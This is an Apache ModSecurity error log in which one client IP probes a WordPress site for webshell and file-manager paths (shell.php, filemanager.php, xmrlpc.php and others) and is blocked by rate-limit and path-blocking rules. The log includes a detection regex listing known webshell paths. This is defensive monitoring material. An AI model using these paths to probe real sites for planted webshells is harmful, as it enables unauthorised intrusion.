[Fri Apr 03 01:36:34.097160 2026] [:error] [pid 25470:tid 25484] [client 20.215.208.34:64923] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6pInhROcck6_9HYygbeAAAAMw"]
[Fri Apr 03 01:36:34.734841 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:63454] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6pInupR6lXnAUzFGr5hAAAAE8"]
[Fri Apr 03 01:36:35.282944 2026] [:error] [pid 25470:tid 25482] [client 20.215.208.34:64988] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6pI3hROcck6_9HYygbfAAAAMo"]
[Fri Apr 03 01:36:36.110623 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:64961] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6pJHhROcck6_9HYygbgAAAAMM"]
[Fri Apr 03 01:36:36.692478 2026] [:error] [pid 25035:tid 25449] [client 20.215.208.34:61910] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6pJBhR292toNOkLqG4SwAAAIc"]
[Fri Apr 03 01:36:38.322804 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:63388] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6pJnhROcck6_9HYygbiAAAAM4"]
[Fri Apr 03 01:36:39.172349 2026] [:error] [pid 25010:tid 25353] [client 20.215.208.34:61825] [client 20.215.208.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ac6pJ4_KcjFQF5TuqTWqlgAAAAU"]
[Fri Apr 03 01:36:40.084697 2026] [:error] [pid 25010:tid 25368] [client 20.215.208.34:61909] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6pKI_KcjFQF5TuqTWqoAAAABM"]
[Fri Apr 03 01:36:41.135771 2026] [:error] [pid 25470:tid 25477] [client 20.215.208.34:64931] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6pKXhROcck6_9HYygbkgAAAMU"]
[Fri Apr 03 01:36:42.282714 2026] [:error] [pid 25035:tid 25450] [client 20.215.208.34:61937] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6pKhhR292toNOkLqG4UAAAAIg"]
[Fri Apr 03 01:36:43.501502 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:63479] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6pK4_KcjFQF5TuqTWqqgAAAAA"]
[Fri Apr 03 01:36:44.873019 2026] [:error] [pid 25010:tid 25352] [client 20.215.208.34:63399] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6pLI_KcjFQF5TuqTWqsAAAAAQ"]
[Fri Apr 03 01:36:45.671930 2026] [:error] [pid 25035:tid 25442] [client 20.215.208.34:60645] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6pLRhR292toNOkLqG4VwAAAIA"]
[Fri Apr 03 01:36:46.631180 2026] [:error] [pid 25010:tid 25366] [client 20.215.208.34:61938] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6pLo_KcjFQF5TuqTWqwAAAABE"]
[Fri Apr 03 01:36:48.498535 2026] [:error] [pid 25018:tid 25437] [client 20.215.208.34:64971] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6pMHupR6lXnAUzFGr5mwAAAFg"]
[Fri Apr 03 01:36:56.670044 2026] [:error] [pid 25035:tid 25446] [client 20.215.208.34:63386] [client 20.215.208.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ac6pOBhR292toNOkLqG4bQAAAIQ"]
[Fri Apr 03 01:37:05.079842 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:63364] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ac6pQY_KcjFQF5TuqTWq8QAAAAk"]
[Fri Apr 03 01:37:05.612879 2026] [:error] [pid 25470:tid 25478] [client 20.215.208.34:63459] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ac6pQXhROcck6_9HYygcCQAAAMY"]
[Fri Apr 03 01:37:06.179555 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:65021] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ac6pQo_KcjFQF5TuqTWq9QAAAAI"]
[Fri Apr 03 01:37:06.768957 2026] [:error] [pid 25010:tid 25356] [client 20.215.208.34:64950] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ac6pQo_KcjFQF5TuqTWq9gAAAAg"]
[Fri Apr 03 01:37:07.281253 2026] [:error] [pid 25010:tid 25370] [client 20.215.208.34:61913] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "ac6pQ4_KcjFQF5TuqTWq-AAAABU"]
[Fri Apr 03 01:37:07.838604 2026] [:error] [pid 25010:tid 25373] [client 20.215.208.34:61894] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "ac6pQ4_KcjFQF5TuqTWq-gAAABg"]
[Fri Apr 03 01:37:08.394177 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:61839] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "ac6pRI_KcjFQF5TuqTWq_QAAAA0"]
[Fri Apr 03 01:37:08.934993 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:61914] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "ac6pRI_KcjFQF5TuqTWrAgAAAAI"]
[Fri Apr 03 01:37:09.456006 2026] [:error] [pid 25018:tid 25420] [client 20.215.208.34:64946] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "ac6pRXupR6lXnAUzFGr5wgAAAEc"]
[Fri Apr 03 01:37:10.061027 2026] [:error] [pid 25035:tid 25454] [client 20.215.208.34:64909] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "ac6pRhhR292toNOkLqG4hgAAAIw"]
[Fri Apr 03 01:37:10.721092 2026] [:error] [pid 25470:tid 25478] [client 20.215.208.34:61951] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "ac6pRnhROcck6_9HYygcIwAAAMY"]
[Fri Apr 03 01:37:11.240309 2026] [:error] [pid 25035:tid 25445] [client 20.215.208.34:63477] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "ac6pRxhR292toNOkLqG4iAAAAIM"]
[Fri Apr 03 01:37:11.898580 2026] [:error] [pid 25010:tid 25351] [client 20.215.208.34:60628] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ac6pR4_KcjFQF5TuqTWrCgAAAAM"]
[Fri Apr 03 01:37:12.489992 2026] [:error] [pid 25470:tid 25484] [client 20.215.208.34:65007] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ac6pSHhROcck6_9HYygcMQAAAMw"]
[Fri Apr 03 01:37:13.006860 2026] [:error] [pid 25018:tid 25421] [client 20.215.208.34:63427] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ac6pSXupR6lXnAUzFGr5yAAAAEg"]
[Fri Apr 03 01:37:13.602854 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:63432] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ac6pSXhROcck6_9HYygcOQAAAMQ"]
[Fri Apr 03 01:37:14.119868 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:63411] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ac6pSnhROcck6_9HYygcPQAAAMI"]
[Fri Apr 03 01:37:14.641565 2026] [:error] [pid 25018:tid 25430] [client 20.215.208.34:64915] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ac6pSnupR6lXnAUzFGr50AAAAFE"]
[Fri Apr 03 01:37:15.302816 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:61893] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ac6pS3hROcck6_9HYygcRQAAAMQ"]
[Fri Apr 03 01:37:15.898880 2026] [:error] [pid 25018:tid 25418] [client 20.215.208.34:63438] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ac6pS3upR6lXnAUzFGr51AAAAEU"]
[Fri Apr 03 01:37:16.445721 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:64928] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac6pTHhROcck6_9HYygcSwAAANQ"]
[Fri Apr 03 01:37:16.988713 2026] [:error] [pid 25470:tid 25488] [client 20.215.208.34:63379] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac6pTHhROcck6_9HYygcTgAAANA"]
[Fri Apr 03 01:37:17.619405 2026] [:error] [pid 25035:tid 25451] [client 20.215.208.34:64943] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac6pTRhR292toNOkLqG4kwAAAIk"]
[Fri Apr 03 01:37:18.211911 2026] [:error] [pid 25035:tid 25454] [client 20.215.208.34:60619] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac6pThhR292toNOkLqG4lQAAAIw"]
[Fri Apr 03 01:37:18.997085 2026] [:error] [pid 25010:tid 25364] [client 20.215.208.34:64925] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ac6pTo_KcjFQF5TuqTWrHgAAAA8"]
[Fri Apr 03 01:37:19.561844 2026] [:error] [pid 25010:tid 25355] [client 20.215.208.34:64939] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ac6pT4_KcjFQF5TuqTWrIQAAAAc"]
[Fri Apr 03 01:37:20.081215 2026] [:error] [pid 25018:tid 25435] [client 20.215.208.34:63400] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ac6pUHupR6lXnAUzFGr54wAAAFY"]
[Fri Apr 03 01:37:20.602767 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:61948] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ac6pUHhROcck6_9HYygcWQAAANg"]
[Fri Apr 03 01:37:21.216409 2026] [:error] [pid 25470:tid 25481] [client 20.215.208.34:64912] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ac6pUXhROcck6_9HYygcXQAAAMk"]
[Fri Apr 03 01:37:21.800200 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:64957] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ac6pUXhROcck6_9HYygcXwAAANI"]
[Fri Apr 03 01:37:22.381385 2026] [:error] [pid 25018:tid 25422] [client 20.215.208.34:64908] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ac6pUnupR6lXnAUzFGr56AAAAEk"]
[Fri Apr 03 01:37:22.897308 2026] [:error] [pid 25470:tid 25479] [client 20.215.208.34:63482] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ac6pUnhROcck6_9HYygcYwAAAMc"]
[Fri Apr 03 01:37:23.490750 2026] [:error] [pid 25010:tid 25355] [client 20.215.208.34:61926] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ac6pU4_KcjFQF5TuqTWrMQAAAAc"]
[Fri Apr 03 01:37:24.026556 2026] [:error] [pid 25018:tid 25429] [client 20.215.208.34:63420] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ac6pVHupR6lXnAUzFGr56wAAAFA"]
[Fri Apr 03 01:37:24.644891 2026] [:error] [pid 25018:tid 25426] [client 20.215.208.34:61898] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ac6pVHupR6lXnAUzFGr57QAAAE0"]
[Fri Apr 03 01:37:25.164614 2026] [:error] [pid 25018:tid 25431] [client 20.215.208.34:61838] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ac6pVXupR6lXnAUzFGr58wAAAFI"]
[Fri Apr 03 01:37:25.701931 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:61933] [client 20.215.208.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ac6pVY_KcjFQF5TuqTWrOAAAAAI"]
[Fri Apr 03 01:37:26.358822 2026] [:error] [pid 25018:tid 25414] [client 20.215.208.34:60564] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ac6pVnupR6lXnAUzFGr59wAAAEI"]
[Fri Apr 03 01:37:26.905588 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:60556] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ac6pVnhROcck6_9HYygcbAAAANU"]
